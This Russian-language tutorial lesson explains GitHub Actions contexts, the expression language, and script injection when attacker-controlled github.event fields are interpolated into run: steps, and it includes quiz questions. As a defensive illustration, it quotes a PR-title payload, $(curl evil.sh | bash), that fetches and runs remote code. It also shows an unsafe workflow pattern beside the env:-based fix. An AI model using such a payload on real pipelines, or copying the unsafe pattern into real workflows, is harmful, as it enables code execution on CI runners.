Контексты и выражения: модель данных и script injection через github.event
Контексты (`github`, `env`, `secrets`, `needs`, `matrix`) — модель данных workflow; выражения в `${{ }}` фильтруют, ветвят и вычисляют. Интерполяция управляемого атакующим текста `github.event` прямо в `run:` — это удалённое выполнение кода.
Proof-of-concept (воспроизводимое доказательство уязвимости) уместился в заголовок pull request. Исследователь безопасности открыл PR с заголовком $(curl evil.sh | bash) против популярного open-source проекта. У их CI был дружелюбный шаг «откомментировать автору заголовок PR обратно», делавший ровно то, на что похож: echo "Thanks for PR: ${{ github.event.pull_request.title }}". GitHub интерполирует выражения ${{ }} до того, как shell вообще увидит строку — поэтому раннер собрал run:-скрипт, буквально содержавший echo "Thanks for PR: $(curl evil.sh | bash)", и shell послушно выполнил подстановку команды. Заголовок PR стал командой на раннере, с теми правами, что были у джоба. Лечением была не санитизация заголовка; лечением было — никогда не позволять управляемому атакующим тексту контекста становиться частью shell-команды. Выражения вычисляются на этапе шаблона — этот единственный факт и есть вся уязвимость, и вся защита.
Контексты: где живут данные
Прежде чем писать надёжные условия workflow или понять, почему выражение тихо вычисляется в неправильную ветку, нужно знать точно — откуда берутся данные и в какой области они живут.
Workflow читает всё, что знает, из контекстов — структурированных объектов, доступных внутри ${{ }}:
steps:
- run: echo "commit ${{ github.sha }} on ${{ github.ref_name }}"
- run: echo "build for ${{ matrix.os }}"
- if: ${{ needs.build.result == 'success' }}
run: ./deploy.sh
env:
TOKEN: ${{ secrets.DEPLOY_TOKEN }}Контексты на каждый день: github (payload события, ref, sha, actor, repository), env (переменные workflow/job/step), secrets (зашифрованные значения, маскируемые в логах), needs (outputs и result вышестоящих джобов), matrix (текущая комбинация матрицы), steps (outputs предыдущих шагов в джобе), runner, job, strategy. Доступность ограничена областью: secrets нечитаем в job-level if; needs существует только после объявления ребра needs:; matrix существует только внутри матрицированного джоба. Чтение недоступного контекста даёт пустую строку, а не ошибку — поэтому опечатка ${{ secrets.DEPOLY_TOKEN }} тихо аутентифицируется как никто, и деплой падает с непонятным 401, а не с ясным «undefined secret».
Выражения: операторы, функции и truthiness
Внутри ${{ }} доступен небольшой язык выражений: сравнения (==, !=, <, >), логика (&&, ||, !) и функции — contains(), startsWith(), format(), join(), fromJSON(), toJSON(), hashFiles() и статус-проверки success(), failure(), always(), cancelled(). Доминируют две сеньорские ловушки:
&&/||возвращают операнды, а не булевы — GitHub заимствует тернарную идиому${{ condition && 'a' || 'b' }}для выбора значения, потому что настоящего тернарника нет. Она работает, только когда «истинный» операнд сам truthy;${{ x && '' || 'b' }}всегда даёт'b'.- У
if:неявный${{ }}— пишешьif: github.ref == 'refs/heads/main'без скобок, но как только нужно выражение, начинающееся с!, его надо закавычить или взять в скобки, ведь YAML читает ведущий!как тег.
fromJSON() — силовой инструмент: он превращает JSON-строку в реальный объект, и так строится динамическая матрица — setup-джоб выдаёт JSON-массив как output, а нижестоящий джоб делает strategy: { matrix: { include: ${{ fromJSON(needs.setup.outputs.list) }} } }. Это превращает «решить, что тестировать, в рантайме» (изменённые пакеты, обнаруженные шарды) из невозможного в одну строку.
У шага env: VER: ${{ secrets.IS_PROD == 'true' && '1.0' || '0.9' }}, но сравнивать секреты здесь не стоит, и значение выходит '0.9' даже в проде. Какова наиболее вероятная корневая причина?
▸Почему это работает
Почему GitHub вычисляет ${{ }} до shell, а не передаёт контекст через переменные окружения по умолчанию? Потому что выражения должны управлять и тем, что не shell — условиями if:, значениями matrix, inputs with:, именами джобов — всё разрешается на этапе сборки шаблона по всему YAML. Цена этой однородности в том, что строка run: — лишь строка, которую движок собирает подстановкой, а подставленный текст атакующего становится кодом. Безопасный паттерн — разорвать цепочку: привязать контекст к переменной env: (env: { TITLE: ${{ github.event.pull_request.title }} }) и ссылаться на "$TITLE" в скрипте, чтобы значение шло как данные через окружение, а shell никогда не парсил его как исходник.
Класс инъекций и его единственный фикс
Уязвимость Hook — целый класс: любая строка run:, интерполирующая контекст, на который может влиять атакующий — github.event.*.title, *.body, *.head.ref, сообщения коммитов, head_commit.message, тела ревью — это sink (точка поглощения данных, где они могут стать командой) для script injection. Фикс механичен и полон: никогда не клади управляемый атакующим ${{ }} прямо в run:; передай его через env: и ссылайся на переменную окружения, закавыченную.
# НЕБЕЗОПАСНО: title интерполируется в скрипт, который собирает раннер
- run: echo "title: ${{ github.event.pull_request.title }}"
# БЕЗОПАСНО: значение идёт как данные; shell видит переменную, не исходник
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "title: $PR_TITLE"Первая форма позволяет заголовку `id` выполнить команду; вторая печатает бэктики буквально. Больше ничего не меняется — те же данные, другая граница доверия.
Почему передача github.event.pull_request.body через переменную env: и ссылка на "$BODY" в run: побеждает script injection, тогда как echo ${{ github.event.pull_request.body }} напрямую — нет?
- 01Объясни механизм script injection в шаге run: и точную митигацию, в терминах того, когда вычисляются выражения.
- 02Для чего нужен fromJSON и почему && и || ведут себя необычно в выражениях?
Контексты — вся модель данных workflow: github несёт payload события, ref, sha и actor; env, secrets, needs, matrix, steps, runner и job несут остальное — всё читаемо внутри ${{ }} с областью видимости, ограниченной местами, где они осмысленны, а отсутствующий контекст разрешается в пустую строку, а не в ошибку, так что опечатанный секрет проваливается закрытым и тихо. Язык выражений даёт сравнения, логику и функции вроде contains, format, hashFiles, статус-проверки success/failure/always/cancelled и fromJSON — силовой инструмент, парсящий рантайм-JSON-строку в динамическую матрицу, чтобы setup-джоб решал в рантайме, какие ноги тестов. Две причуды кусают сеньоров: &&/|| возвращают операнды, а не булевы — тернарная идиома ${{ cond && 'a' || 'b' }} проваливается, когда истинный операнд falsy — и у if: неявный ${{ }}, конфликтующий с тегом ! в YAML. Определяющая опасность — тайминг: ${{ }} вычисляется на этапе сборки шаблона, до того как shell увидит строку run:, поэтому любой управляемый атакующим контекст — заголовки PR, тела, имена веток, сообщения коммитов — интерполированный прямо в run:, становится исходником shell и выполняется. Полный механический фикс — привязать такие значения к переменной env: и ссылаться на закавыченный $VAR, чтобы текст атакующего пересекал границу как данные, а shell никогда не парсил его как команду. Теперь, когда встретишь шаг run:, напрямую ссылающийся на ${{ github.event.* }}, — знаешь, что перед тобой sink для script injection, и знаешь, какую именно строку перенести в env:.
Практика
Начни сверху. Задачи идут от простого к сложному: вспомнить факт, применить к случаю, затем senior-уровень. Открой, попробуй, потом открой ответ.
Что-то непонятно?
Задай вопрос по этому уроку. Вопросы анонимны и попадают напрямую автору — урок станет лучше.